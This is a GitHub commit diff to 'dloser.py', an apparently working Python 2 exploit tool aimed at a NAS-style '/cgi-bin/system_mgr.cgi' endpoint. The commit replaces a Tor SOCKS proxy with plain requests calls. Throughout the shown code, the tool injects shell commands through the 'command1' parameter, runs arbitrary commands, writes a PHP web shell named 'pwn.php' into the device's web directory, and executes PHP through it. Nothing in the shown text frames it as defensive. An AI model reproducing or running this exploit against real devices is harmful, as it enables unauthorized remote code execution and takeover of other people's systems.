Skip to content

Commit 705e580

Browse files
authored
Fix requests usage for users, remove proxy.
1 parent 9f74cb0 commit 705e580

File tree

1 file changed

+7
-9
lines changed

1 file changed

+7
-9
lines changed

dloser/dloser.py

Lines changed: 7 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
#!/usr/bin/python2
22
# coding: utf-8
3-
import requesocks
3+
import requests
44
import sys
55

66
red = "\x1b[1;31m"
@@ -12,8 +12,6 @@
1212
white = "\x1b[1;37m"
1313
clear = "\x1b[0m"
1414

15-
proxies = {'http': 'socks5://127.0.0.1:9050', 'https': 'socks5://127.0.0.1:9050'}
16-
1715
def banner():
1816
print """
1917
%s██████╗ ██╗ ██████╗ ███████╗███████╗██████╗ %s
@@ -29,7 +27,7 @@ def banner_grab(target):
2927
sys.stdout.write("%s{*} Checking target fingerprint...%s" %(blue, clear))
3028
sys.stdout.flush()
3129
try:
32-
r = requesocks.head(url=target, proxies=proxies, verify=False)
30+
r = requests.head(url=target, verify=False)
3331
except Exception, e:
3432
sys.stdout.write(" %s[failed]%s\n" %(red, clear))
3533
sys.exit(0)
@@ -44,7 +42,7 @@ def check_cgi(target):
4442
sys.stdout.write("%s{*} Checking for /cgi-bin/system_mgr.cgi...%s" %(blue, clear))
4543
sys.stdout.flush()
4644
try:
47-
r = requesocks.head(url=url, proxies=proxies, verify=False)
45+
r = requests.head(url=url, verify=False)
4846
except Exception, e:
4947
sys.stdout.write(" %s[failed]\n%s" %(red, clear))
5048
sys.exit(0)
@@ -59,7 +57,7 @@ def check_0day(target):
5957
sys.stdout.flush()
6058
url = target + "/cgi-bin/system_mgr.cgi?cmd=cgi_sms_test&command1=id;"
6159
try:
62-
r = requesocks.get(url=url, proxies=proxies, verify=False)
60+
r = requests.get(url=url, verify=False)
6361
except Exception, e:
6462
sys.stdout.write(" %s[failed]\n%s" %(red, clear))
6563
sys.exit(0)
@@ -77,7 +75,7 @@ def execute_command(target, command):
7775
command = command.replace(' ', '%20')
7876
url = target + "/cgi-bin/system_mgr.cgi?cmd=cgi_sms_test&command1=%s" %(command)
7977
try:
80-
r = requesocks.get(url=url, proxies=proxies, verify=False)
78+
r = requests.get(url=url, verify=False)
8179
except Exception, e:
8280
sys.exit("%s{-} Exception hit! Printing stack trace...\n%s%s" %(red, str(e), clear))
8381
output = r.text.replace("Content-type: text/html", "")
@@ -106,7 +104,7 @@ def upload_shell(target):
106104
upload = execute_command(target, command="echo -ne '%s'>/var/www/ajaxplorer/plugins/access.remote_fs/pwn.php" %(payload))
107105
check_shell(target)
108106

109-
def encode_php(phpcode): #base64 that shit niqqa!
107+
def encode_php(phpcode):
110108
phpcode = phpcode.encode('base64')
111109
phpcode = phpcode.replace("\n", "")
112110
phpcode = phpcode.strip()
@@ -117,7 +115,7 @@ def execute_php(target, php):
117115
postdata = {'woot': php}
118116
url = target + '/ajaxplorer/plugins/access.remote_fs/pwn.php'
119117
try:
120-
execute = requesocks.post(url=url, data=postdata, proxies=proxies, verify=False, allow_redirects=False)
118+
execute = requests.post(url=url, data=postdata, verify=False, allow_redirects=False)
121119
except Exception, e:
122120
sys.exit("%s{-} Something went horribly wrong. Bailing!\n%s%s" %(red, str(e), clear))
123121
output = execute.text.rstrip()

0 commit comments

Comments
 (0)